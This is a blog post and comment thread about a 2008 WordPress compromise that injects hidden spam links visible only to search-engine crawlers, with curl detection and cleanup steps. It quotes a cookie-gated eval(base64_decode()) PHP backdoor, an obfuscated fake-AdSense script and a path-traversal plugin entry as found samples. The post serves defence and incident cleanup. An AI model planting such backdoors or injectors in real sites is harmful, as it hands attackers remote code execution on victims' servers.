Live Chat!

Wordpress exploit: we been hit by hidden spam link injection

2 votos Vota!!

May 26th, 2008 mysurface Posted in Misc, curl, curlftpfs, file, find | Hits: 58458 |

We been hit by hidden spam link injection (a modified version of goro spam injection), this crack injects spam links through wordpress wp_footer() or wp_head() hook. The spam links only reveal itself if crawled by search engine bot such as googlebot, and they are hidden from our eyes. We believe the cracker’s purpose is to steal your search index and improves their page rank.

This exploits are very difficult to detect, because you can’t find the hidden spam links from your web source if you surf your page with web browser. Until one day, your traffics goes down exponentially, and discovered the spam links appear in google cache. But that is too late!

How’s the spam links look:


<div id="_wp_footer">
...
.. ALL THE SPAM LINKS HERE ...
...
</div>
<script type="text/javascript"><!--
google_ad_client = "pub-7652328300112263";
google_ad_width = 728;
google_ad_height = 15;
google_ad_format = "728x15_0ads_al_s";
google_ad_channel = "";
function google_ads(str){var idx = str.indexOf('?'); if (idx == -1) return str; var len = str.length; var new_str = ""; var i = 1; for (++idx; idx < len; id
google_ads("http://pagead2.googlesyndication.com/pagead/show_ads.js?636D6071685F676C255D5A68385E565D545C612E64334D100E455C544248504F53434F0304084C4C50423A02
//-->
</script>

How to detects them?
We can’t wait until the exploit been discover by googlebot and ruin our google index, so there must be a way for us to verify at any time. For us, we use curl. Changing the user agent to googlebot with curl and crawl your own page like this:

curl --no-sessionid --user-agent "Googlebot/2.1 (+http://www.googlebot.com/bot.html)" http://linux.byexamples.com

Thanks to Toydi, we have done some findings on how the exploit affects us. Here, let us tells you what we have learn from the exploit, suggestion to solve the problems, and reveal of this exploit.

How to solve this?
Once you realized your site been exploit, what you must have in your mind is upgrade your Wordpress, and removes the infected files. There is a fastest way to temporary stop the spam injection. Removes wp_footer() and wp_head() hook from your themes. The hook should be store in footer.php and header.php.

Removes footer and header hooks does not really clean the affected files, but the spam links will disappear if you check with curl again. This doesn’t really solve the problems.

Where are the affected files?
Affected files can be any where, they probably have a common name, but crackers may change the name patterns any time for the next attempt. So, we highly suggest you do a fresh install unless it is too much trouble for you to do that.

The affected files can be stay at

/wp-content/uploads
/wp-content/plugins
/wp-content/themes
/wp-includes
/wp-admins
/

with patterns such ask *_new.php, *_old.php, *.jpgg, *.giff, *.pngg, wp-info.txt

Removes them in a batch using find command line, you can access your ftp server with curlftpfs.

find . -name "*_new.php" -exec rm {} \;
find . -name "*_old.php" -exec rm {} \;
find . -name "*.jpgg" -exec rm {} \;
find . -name "*_giff" -exec rm {} \;
find . -name "*_pngg" -exec rm {} \;

In fact, infected files can be any php files, compare them with the original one. Some of the images are actually not image, use file command to verify them. we find one of the gif file in my theme/images folder is actually a encrypted php codes. The cracker is very smart to hide that from detected!

file * | grep -v image

Check every files of your themes, we discovered injected codes at our headers.php and singles.php:

<?php if(md5($_COOKIE['_wp_debugger'])=="2435265e6253721e9a8e200d1ebbc54e"){ eval(base64_decode($_POST['file'])); exit; } ?>

See!? cracker decodes his php codes with base64_decode()!!! They try to blind your eyes from detecting them.

Database exploits
We modified the add_action() in plugin.php to print out all function names registered to 'wp_footer' action hook. Then, we caught a strange function name, echo123, but we couldn’t find echo123 in our wordpress codes as well as in database. But after we connects Wordpress with new database, the spam links gone. So, it must be something wrong within the database. And our guess is right!

1. The cracker modify the active_plugins field of wp_options table.

a:3:{i:0;s:117:"../../../../../../../../../../../../../../../../../../../../../../tmp/tmpYwbXT2/sess_779ceef92a4fdcc17bb5ee3f13348bfd";i:1;s:46:"../../wp-content/themes/default/header_old.gif";i:2;s:27:"SK2/spam_karma_2_plugin.php";}

../../../../../../../../../../../../../../../../../../../../../../tmp/tmpYwbXT2/sess_779ceef92a4fdcc17bb5ee3f13348bfd and ../../wp-content/themes/default/header_old.gif are the exploit codes, removes them accordingly.

2. If wordpress_options and internal_links_cache fields exist in your wp_options table, removes them, they are your nightmare!!!

3. Check your wp_users table and removes ‘WordPress’ user.

For Wordpress database exploit, please refers to Toydi’s findings.

It probably more than 3 fields, if you discover extra infected fields, please let us know, thanks in advance.

Who is behind this?
Seriously We don’t know, but based on what we have, we make some guess, feel free to give yours.

From the spam injection, we observed that the spam links appended with a modified google adsense script with key pub-7652328300112263. Who’s key is that? Do he steal your income as well as messing your google index? Only google adsense team would able to answer this.

From the spam links, its all redirection to wwwDOTyeah-oopsDOTcom and titusonenineDOTclassicalanglicanDOTnet, are they the cracker? I tried to email them asking why they crack my page, but of cause until today, I didn’t received any replies from them.

P.S. Replace DOT with . I do not want to create more keywords for them anymore.

Okay, let us crawl their web with user agent as googlebot

curl --user-agent "Googlebot/2.1 (+http://www.googlebot.com/bot.html)" http://wwwDOTyeah-oopsDOTcom/ | less

Surprisingly their page are been injected with spam too, but the links redirect to wwwDOTarticulateDOTcom/blog/

And crawl further, there are no more spam links injected. Heh! Who are they?

I suggest you to check your blogs frequently with curl, take fast action before they mess up your google index again.

36 Responses to “Wordpress exploit: we been hit by hidden spam link injection”

  1. kapsiaoloong Says:

    We must fiiiiind ze culprit !!! Anyway the embedded scripts for PHP makes Wordpress vulnerable to these crooks. Naught to worry my friend…lets find ways to stop them !!!

  2. buahaha, kapsiaoloong, go where also damn kapsiao one.

  3. Yep. One of our clients is infected with that kind exploit. They uploaded the infected theme with the upload facility from wordpress. After reverting back to the backup’d files, I remove the permission of www-data users to write to the folder. That’s will do it.

    –buaya

  4. I am not clear on how you got rid of tmp/tmpYwbXT2/sess_779ceef92a4fdcc17bb5ee3f13348bfd

  5. @Tiffany, remove it and change the line into this:

    a:2:{i:0;s:46:"../../wp-content/themes/default/header_old.gif";i:1;s:27:"SK2/spam_karma_2_plugin.php";}
  6. great tips! Saved my ass.

    And here’s a tip for you… for an easy way to view your site as googlebot:

    http://www.smart-it-consulting.com/internet/google/googlebot-spoofer/index.htm

  7. @Tim: Thats cool! For those who don’t have curl installed, this site is really useful.

  8. Great tips, one small addition though. If you use this code:

    find . -type f | xargs file | grep -v image

    it will search for non-image files recursively so you don’t have to go through each directory one by one.

  9. @Adam, you are right, thanks for the tips.

  10. DazedConfused Says:

    I was hit by this spam link injection last Thursday and my blog has now disappeared from Google listings with search engine traffic plummeting to nothing over the weekend.

    Once I get everything cleaned up, how long will it take for my blog to reappear in Google? Does anyone know? Will I need to email Google to ask to be re-indexed or will it happen automatically?

    Thanks in advance for any advice/suggestions.

  11. @DazedConfused, from one week to one month. It doesn’t come back one shot.

  12. DazedConfused Says:

    Ok, thanks much. Regarding the code you recommend deleting… do I delete this entire line: “”

    Or only the “wp_footer()” part?

  13. DazedConfused Says:

    Oops! It didn’t show up in my post. It’s a line of code that has a question mark, php, at the beginning, then the wp_footer() and then a semi-colon, and another question mark.

  14. @DezedConfused: You can took the entire wp_footer() tag off if your plugins doesn’t use this hook.

  15. I’m using All in One SEO plugin. When i removed “”, my site doesn’t have meta keywords and description again …

  16. sorry … missing wp_head in my last comment

  17. For what it’s worth, the “pub-id” is not an AdSense user, it’s just made to look like AdSense (to make it look legitimate). It’s just a part of the code used to decrypt the content hidden in those JavaScript pieces. Sneaky….

  18. @JohnMu, I think you are right.

  19. great tips

  20. Thanks for this wonderfull tips

  21. thaks so much for your tips

    http://www.manshurin.com

  22. Dear Sir,
    I have problem with my blog, if browse with IE, my blog show only the content, but two right colom for widget disappear. However it work well when I browse with Firefox or other browser.
    Two days before the problem exist, there is a incoming comment say that my blog is listed in spam list, I just delete it.
    Will you please visit my blog and browse it with different browser to see the result?
    Please advice me how should I solve this problem?
    Thank you

    Oddie

  23. my blog was recently compromised as well, and i am using version 2.6. thank you for the information!! i will be upgrading to 2.7 when i get the chance :)

  24. This is a great post . Good information. Out of many posts , only two posts so far I find quite useful. Apart from this one , there is another good post on malware injection & removal :

    http://www.itoneworldsystem.com/blog/2009/01/03/how-to-remove-malware-from-your-blog/

  25. Thanks for the helpful info. @DazedConfused you should submit a reinclusion request http://www.google.com/support/webmasters/bin/answer.py?answer=35843

  26. Desika Nadadur Says:

    Two days my blog (hosted using WordPress) was flagged by Google as being an attack site. I run a spirituality website. I am not giving the URL, for obvious reasons. Last year, someone hacked my site and replaced the index file. I just fixed that and looked around did not find anything. Also, I was not very familiar with all the modes of attacks. Very naive of me, I know.

    I am now trying to fix everything. I tried to use curl as you advised, but I am getting a 403 error. The message was, “An invalid request was received. You claimed to be a major search engine, but you do not appear to actually be a major search engine.” There was some other code that says that I could fix this by using some number-code and going to some site: wwwDOTioerroDOTus and also printed out some code that started with the string “Yahoo! counter starts,” which I don’t want to give here, as I am not sure what it is.

    Can anyone help me with this, please?

    Thanks,
    Desika

  27. Desika Nadadur Says:

    Hi,

    Your article is a godsend. There some minor variations, but apart from the if almost like what you had said in the article. Instead of having .giff .jpgg or _new.php etc., files, I had files that had the form .php and a htaccess file that was referring to this file. I had a back up directory where I was backing up compressed wordpress database files. This guy replaced one of these files and calling that in wp_options–active_plugins as a plugin. I removed all of that. This guy also placed an htaccess and .php file in the Ultimate Tag Warrior plugin directory.

    After I did all of this, I found out that Bad Behavior plugin was preventing Curl from accessing my site. I disabled it and I was able to access it. Curl did not output any suspicious links. I am hoping that my fixes above worked.

    I have requested Google to review my site again. It is up to them now.

    Thanks for writing this tremendously helpful article!

    I will let you know what Google says.

    Thanks again,
    Desika

  28. Desika Nadadur Says:

    Sorry, In my previous comment, I meant to say “had the form ‘number.php’,” and put angle brackets around the string “number” and they got stripped off when the comment was posted.

    Thanks,
    Desika

  29. Desika Nadadur Says:

    Thanks again. The fixes you suggested worked out. Google has approved my blog again.

    I am very grateful. Let me know, if I can help your blog in anyway.

    Thanks,
    -Desika

  30. Glad you solved your problem Desika :) I having a lots of troubles when I encounter I caught up by this shit! It takes me months to realize what is actually happening.

  31. Mysurface,

    You are right. It is very stressful, and time consuming. I just blogged about it to inform my readers of what happened to my site and linked to this article here.

    I believe I have had this problem since May 2008 when my website was attacked. :-( I guess better late to realize than never.

    Thanks again.

    Thanks,
    Desika

  32. Hi !! ^_^
    I am Piter Kokoniz. oOnly want to tell, that I’v found your blog very interesting
    And want to ask you: will you continue to post in this blog in future?
    Sorry for my bad english:)
    Thank you:)
    Piter.

  33. I just discovered that my site was hacked with this too. I found many articles about this problem on the web, but I haven’t found any about how the hackers were able to modify all these scripts and database fields. Do you have any idea? Does it simply mean that the hacker somehow cracked the admin password?

    If we don’t know how they did it, it’s hard to prevent them from doing it again.

  34. Thanks a bunch!!

  35. I did an app just to check injection problems like this:
    http://j.mp/aSJDAu

    Try it out: it shows differences between a normal call and a “Google-like” call. :)

Leave a Reply

Security Code: